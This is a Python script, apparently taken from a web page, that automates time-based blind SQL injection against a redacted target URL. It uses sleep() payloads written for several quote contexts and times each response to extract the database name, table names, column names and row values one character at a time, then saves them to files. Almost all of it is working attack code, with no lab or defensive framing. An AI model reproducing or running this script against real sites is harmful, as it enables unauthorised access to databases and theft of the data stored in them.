1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272
| import requests import time from requests.packages.urllib3.exceptions import InsecureRequestWarning,InsecurePlatformWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) requests.packages.urllib3.disable_warnings(InsecurePlatformWarning) value ="0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!" result=""
def get_data_len(): for i in range(0,30): time.sleep(1) headers = {
'Connection': '***', 'X-Requested-With': '***', 'Host': '***', 'Content-Length': '***', 'Content-Type': '***', 'User-Agent': '***', 'Accept': '***', 'Referer': '***', 'Accept-Encoding': '***', 'Accept-Language': '***', 'Cookie': '***',
} newr="""(select(0)from(select(IF(length(database())={0},sleep(5),0)))v)/*'+(select(0)from(select(IF(length(database())={0},sleep(5),0)))v)+'"+(select(0)from(select(IF(length(database())={0},sleep(5),0)))v)+"*/""".format(i) print (newr) payload = newr url = "***" data = {"******": *** } print (data) start_time = time.time() html = requests.post(url, data=data,headers=headers, verify=False, allow_redirects=False) end_time = time.time() use_time = end_time - start_time print (str(use_time)) if use_time > 3: print("...... data's length is :"+ str(i)) return i
def get_data(length): global result headers = {
'Connection': '***', 'X-Requested-With': '***', 'Host': '***', 'Content-Length': '***', 'Content-Type': '***', 'User-Agent': '***', 'Accept': '***', 'Referer': '***', 'Accept-Encoding': '***', 'Accept-Language': '***', 'Cookie': '***',
} url = "****" for n in range(1,length): for v in value: time.sleep(1) data_payload="database()" newr="""(select(0)from(select(IF(ascii(substr({0},{1},1))={2},sleep(5),0)))v)/*'+(select(0)from(select(IF(ascii(substr({0},{1},1))={2},sleep(5),0)))v)+'"+(select(0)from(select(IF(ascii(substr({0},{1},1))={2},sleep(5),0)))v)+"*/""".format(data_payload,n,ord(v)) print (newr) payload = newr data = {"*": *} print (data) start_time = time.time() html = requests.post(url, data=data,headers=headers, verify=False, allow_redirects=False) end_time = time.time() use_time = end_time - start_time print (str(use_time)) if use_time >4: result += v print("数据库名:"+result) break return result
def get_biao_data(length,table_num): headers = {
'Connection': '***', 'X-Requested-With': '***', 'Host': '***', 'Content-Length': '***', 'Content-Type': '***', 'User-Agent': '***', 'Accept': '***', 'Referer': '***', 'Accept-Encoding': '***', 'Accept-Language': '***', 'Cookie': '***',
}
url = "**" table_name_new="" biao_flag=0 for n in range(1,length): for v in value: biao_flag=0
data_payload="(select table_name from information_schema.tables where table_schema=database() limit {0},1)".format(table_num) payload = """(select(0)from(select(IF(ascii(substr({0},{1},1))={2},sleep(5),0)))v)/*'+(select(0)from(select(IF(ascii(substr({0},{1},1))={2},sleep(5),0)))v)+'"+(select(0)from(select(IF(ascii(substr({0},{1},1))={2},sleep(5),0)))v)+"*/""".format(data_payload,n,ord(v)) print ("test:"+str(payload)) data = {"***": ***} start_time = time.time() html = requests.post(url, data=data,headers=headers, verify=False, allow_redirects=False) end_time = time.time() use_time = end_time - start_time if use_time >4: table_name_new += v print("第 "+str(table_num)+" 个表名:"+table_name_new) biao_flag=1 break if biao_flag==0: return table_name_new return table_name_new
def get_data_lie(length,table_num,lie_num): headers = {
'Connection': '***', 'X-Requested-With': '***', 'Host': '***', 'Content-Length': '***', 'Content-Type': '***', 'User-Agent': '***', 'Accept': '***', 'Referer': '***', 'Accept-Encoding': '***', 'Accept-Language': '***', 'Cookie': '***',
}
url = "****" lie_name_new="" flag_lie = 0 for n in range(1,length): for v in value: flag_lie = 0
data_payload="(select table_name from information_schema.tables where table_schema=database() limit {0},1)".format(table_num) lie_payload="(select column_name from information_schema.columns where table_name={0} limit {1},1)".format(data_payload,lie_num) payload = """(select(0)from(select(IF(ascii(substr({0},{1},1))={2},sleep(5),0)))v)/*'+(select(0)from(select(IF(ascii(substr({0},{1},1))={2},sleep(5),0)))v)+'"+(select(0)from(select(IF(ascii(substr({0},{1},1))={2},sleep(5),0)))v)+"*/""".format(lie_payload,n,ord(v))
print ("test:"+str(payload)) data = {"***": ***} start_time = time.time() html = requests.post(url, data=data,headers=headers, verify=False, allow_redirects=False) end_time = time.time() use_time = end_time - start_time print (use_time) if use_time >4: lie_name_new += v print("第 "+str(table_num)+" 个表名的第"+str(lie_num)+"列名:"+str(lie_name_new)+'\n') flag_lie = 1 break if (flag_lie==0): print ("1") return lie_name_new return lie_name_new
def get_data_ziduan(length,ziduan_num,tablet_name_set,lie_name_set): headers = {
'Connection': '***', 'X-Requested-With': '***', 'Host': '***', 'Content-Length': '***', 'Content-Type': '***', 'User-Agent': '***', 'Accept': '***', 'Referer': '***', 'Accept-Encoding': '***', 'Accept-Language': '***', 'Cookie': '***',
}
url = "****" ziduan_name_new="" ziduan_flag=0 for n in range(1,length): for v in value: ziduan_flag=0
data_payload="(select {0} from {1} limit {2},1)".format(lie_name_set,tablet_name_set,ziduan_num) payload = """(select(0)from(select(IF(ascii(substr({0},{1},1))={2},sleep(5),0)))v)/*'+(select(0)from(select(IF(ascii(substr({0},{1},1))={2},sleep(5),0)))v)+'"+(select(0)from(select(IF(ascii(substr({0},{1},1))={2},sleep(5),0)))v)+"*/""".format(data_payload,n,ord(v)) print ("test:"+str(payload)) data = {"***": **} start_time = time.time() html = requests.post(url, data=data,headers=headers, verify=False, allow_redirects=False) end_time = time.time() use_time = end_time - start_time if use_time >4: ziduan_name_new += v ziduan_flag=1
print("表"+tablet_name_set+"的列"+lie_name_set+"的第 "+str(ziduan_num)+" 个字段:"+str(ziduan_name_new)+'\n') break
if (ziduan_flag==0): print ("1") return ziduan_name_new
return ziduan_name_new
''' for table_num in range(0,20): #爆20个表 tablet_name=get_biao_data(20,table_num) f=open('result_table.txt','a',encoding='utf-8') f.write("第 "+str(table_num)+" 个表名:"+str(tablet_name)+'\n') f.close() '''
''' #爆列 table_num=7 for lie_num in range(0,10): lie_name=get_data_lie(20,table_num,lie_num) f=open('result_table_lie.txt','a',encoding='utf-8') f.write("第 "+str(table_num)+" 个表名的第"+str(lie_num)+"列名:"+str(lie_name)+'\n') f.close() '''
tablet_name_set="***" lie_name_set="****" for ziduan_num in range(0,10): ziduan_name=get_data_ziduan(35,ziduan_num,tablet_name_set,lie_name_set) f=open('result_table_lie_ziduan.txt','a',encoding='utf-8') f.write("表"+tablet_name_set+"的列"+lie_name_set+"的第 "+str(ziduan_num)+" 个字段:"+str(ziduan_name)+'\n') f.close()
|